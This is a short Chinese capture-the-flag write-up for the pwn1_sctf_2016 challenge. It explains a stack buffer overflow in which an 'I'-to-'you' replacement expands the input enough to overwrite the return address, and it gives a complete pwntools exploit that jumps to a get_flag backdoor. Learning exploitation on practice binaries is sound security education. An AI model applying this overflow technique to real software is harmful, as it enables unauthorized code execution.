pwn1_sctf_2016

pwn1_sctf_2016

    • 题目分析
    • 完整代码

题目分析

pwn1_sctf_2016_第1张图片
仅仅栈不可执行
放入ida,发现漏洞函数,并发现后门get_flag()函数,因此该题就是通过栈溢出执行get_flag,分析溢出字符大小:
pwn1_sctf_2016_第2张图片
fget函数限制输入32位,但s存在60位空间,因此不能直接进行溢出
但后面分析下面程序会将输入的"I"换成"you"
先动态调试查看要溢出的总大小
pwn1_sctf_2016_第3张图片
溢出大小0x138-0x0fc + 4 = 64
因此输入20个I,在输入4个垃圾数据即可

完整代码

from pwn import *
io = process("./pwn1_sctf_2016")
flag_addr = 0x08048F0D
payload = b'I'*20+b'A'*4+ p32(flag_addr)
io.send(payload)
io.interactive()

你可能感兴趣的:(PWN,CTF训练,PWN,linux)